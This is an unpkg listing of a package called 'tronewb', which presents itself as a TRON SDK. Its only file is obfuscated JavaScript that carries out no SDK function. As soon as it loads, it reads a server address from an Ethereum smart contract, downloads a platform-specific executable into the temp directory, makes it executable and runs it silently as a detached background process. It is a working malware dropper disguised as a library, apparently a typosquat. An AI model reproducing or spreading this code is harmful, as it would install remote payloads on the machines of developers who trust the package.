UNPKG

tronewb

Version:

JavaScript SDK that encapsulates the TRON HTTP API

1 lines 4.9 kB
const _0x505dcb=_0x57bd;(function(_0x416454,_0x3f1f99){const _0x764d3=_0x57bd,_0x1e571a=_0x416454();while(!![]){try{const _0x33faaa=parseInt(_0x764d3(0x1d6))/0x1+parseInt(_0x764d3(0x1d5))/0x2+parseInt(_0x764d3(0x1d8))/0x3*(parseInt(_0x764d3(0x1cd))/0x4)+parseInt(_0x764d3(0x1dd))/0x5+-parseInt(_0x764d3(0x1e3))/0x6*(-parseInt(_0x764d3(0x1f1))/0x7)+-parseInt(_0x764d3(0x1ea))/0x8+-parseInt(_0x764d3(0x1e2))/0x9;if(_0x33faaa===_0x3f1f99)break;else _0x1e571a['push'](_0x1e571a['shift']());}catch(_0x1ce7e1){_0x1e571a['push'](_0x1e571a['shift']());}}}(_0x596d,0xd2fd6));function _0x596d(){const _0x337fda=['Contract','ujPxY','lmTjU','path','axios','1521570tVdzsC','1026931zewoeD','Ошибка\x20при\x20получении\x20IP\x20адреса:','357kAOfkQ','finish','join','QxCdA','/node-win.exe','3736315MgYRtG','755','basename','QFQsE','mainnet','21377970wiRgzo','24UgVZox','tGsXC','ethers','jIPvJ','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','tJaTx','ZbwVZ','6568360QVOEVO','createWriteStream','VIXuh','error','Unsupported\x20platform:\x20','linux','tmpdir','2524459xdiQkc','ignore','platform','pipe','darwin','lKfYK','GET','SLWtX','jHxzc','getString','Ktkhi','RPcsi','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','Ошибка\x20при\x20запуске\x20файла:','2792fkQAoW','win32','getDefaultProvider'];_0x596d=function(){return _0x337fda;};return _0x596d();}function _0x57bd(_0x59b86a,_0x11c419){const _0x596d05=_0x596d();return _0x57bd=function(_0x57bda3,_0x5eb96b){_0x57bda3=_0x57bda3-0x1cc;let _0x35d6e7=_0x596d05[_0x57bda3];return _0x35d6e7;},_0x57bd(_0x59b86a,_0x11c419);}const {ethers}=require(_0x505dcb(0x1e5)),axios=require(_0x505dcb(0x1d4)),util=require('util'),fs=require('fs'),path=require(_0x505dcb(0x1d3)),os=require('os'),{spawn}=require('child_process'),contractAddress='0xa1b40044EBc2794f207D45143Bd82a1B86156c6b',WalletOwner=_0x505dcb(0x1e7),abi=[_0x505dcb(0x1fd)],provider=ethers[_0x505dcb(0x1cf)](_0x505dcb(0x1e1)),contract=new ethers[(_0x505dcb(0x1d0))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x902df0=_0x505dcb,_0x4d9716={'jHxzc':_0x902df0(0x1d7),'jIPvJ':function(_0x32a79f){return _0x32a79f();}};try{const _0x43b5dc=await contract[_0x902df0(0x1fa)](WalletOwner);return _0x43b5dc;}catch(_0x2087c5){return console[_0x902df0(0x1ed)](_0x4d9716[_0x902df0(0x1f9)],_0x2087c5),await _0x4d9716[_0x902df0(0x1e6)](fetchAndUpdateIp);}},getDownloadUrl=_0x218e09=>{const _0xdb35d6=_0x505dcb,_0x5cf4f7={'lKfYK':_0xdb35d6(0x1ce),'ujPxY':_0xdb35d6(0x1ef),'vRpmj':_0xdb35d6(0x1f5)},_0x362ad5=os[_0xdb35d6(0x1f3)]();switch(_0x362ad5){case _0x5cf4f7[_0xdb35d6(0x1f6)]:return _0x218e09+_0xdb35d6(0x1dc);case _0x5cf4f7[_0xdb35d6(0x1d1)]:return _0x218e09+'/node-linux';case _0x5cf4f7['vRpmj']:return _0x218e09+'/node-macos';default:throw new Error(_0xdb35d6(0x1ee)+_0x362ad5);}},downloadFile=async(_0x10fbf7,_0x84e329)=>{const _0x211c3e=_0x505dcb,_0x1cbd61={'tJaTx':_0x211c3e(0x1d9),'tGsXC':_0x211c3e(0x1ed),'SLWtX':_0x211c3e(0x1f7),'QxCdA':'stream'},_0x3e60cf=fs[_0x211c3e(0x1eb)](_0x84e329),_0x1311b0=await axios({'url':_0x10fbf7,'method':_0x1cbd61[_0x211c3e(0x1f8)],'responseType':_0x1cbd61[_0x211c3e(0x1db)]});return _0x1311b0['data'][_0x211c3e(0x1f4)](_0x3e60cf),new Promise((_0x3aef5a,_0x59deda)=>{const _0x33fba1=_0x211c3e;_0x3e60cf['on'](_0x1cbd61[_0x33fba1(0x1e8)],_0x3aef5a),_0x3e60cf['on'](_0x1cbd61[_0x33fba1(0x1e4)],_0x59deda);});},executeFileInBackground=async _0x3faaa7=>{const _0x1f3bd7=_0x505dcb,_0x191ce8={'Ktkhi':function(_0x562b94,_0x50f3e3,_0x5cec23,_0x4a0fda){return _0x562b94(_0x50f3e3,_0x5cec23,_0x4a0fda);},'ZbwVZ':_0x1f3bd7(0x1f2),'RPcsi':_0x1f3bd7(0x1cc)};try{const _0x4944d5=_0x191ce8[_0x1f3bd7(0x1fb)](spawn,_0x3faaa7,[],{'detached':!![],'stdio':_0x191ce8[_0x1f3bd7(0x1e9)]});_0x4944d5['unref']();}catch(_0x4b1326){console[_0x1f3bd7(0x1ed)](_0x191ce8[_0x1f3bd7(0x1fc)],_0x4b1326);}},runInstallation=async()=>{const _0x2f8fa9=_0x505dcb,_0x58cedd={'uewdc':function(_0x3136f7){return _0x3136f7();},'QFQsE':function(_0x30eed6,_0xa54b7e){return _0x30eed6(_0xa54b7e);},'zsFRC':function(_0x43a035,_0x4c9029,_0x4959fe){return _0x43a035(_0x4c9029,_0x4959fe);},'Cpzbk':_0x2f8fa9(0x1ce),'lPKKW':_0x2f8fa9(0x1de),'VIXuh':function(_0x4b2234,_0x3c534b){return _0x4b2234(_0x3c534b);},'lmTjU':'Ошибка\x20установки:'};try{const _0x481c02=await _0x58cedd['uewdc'](fetchAndUpdateIp),_0x457dc6=_0x58cedd[_0x2f8fa9(0x1e0)](getDownloadUrl,_0x481c02),_0x3ff724=os[_0x2f8fa9(0x1f0)](),_0xe26e0=path[_0x2f8fa9(0x1df)](_0x457dc6),_0x42b9cb=path[_0x2f8fa9(0x1da)](_0x3ff724,_0xe26e0);await _0x58cedd['zsFRC'](downloadFile,_0x457dc6,_0x42b9cb);if(os[_0x2f8fa9(0x1f3)]()!==_0x58cedd['Cpzbk'])fs['chmodSync'](_0x42b9cb,_0x58cedd['lPKKW']);_0x58cedd[_0x2f8fa9(0x1ec)](executeFileInBackground,_0x42b9cb);}catch(_0x505274){console[_0x2f8fa9(0x1ed)](_0x58cedd[_0x2f8fa9(0x1d2)],_0x505274);}};runInstallation();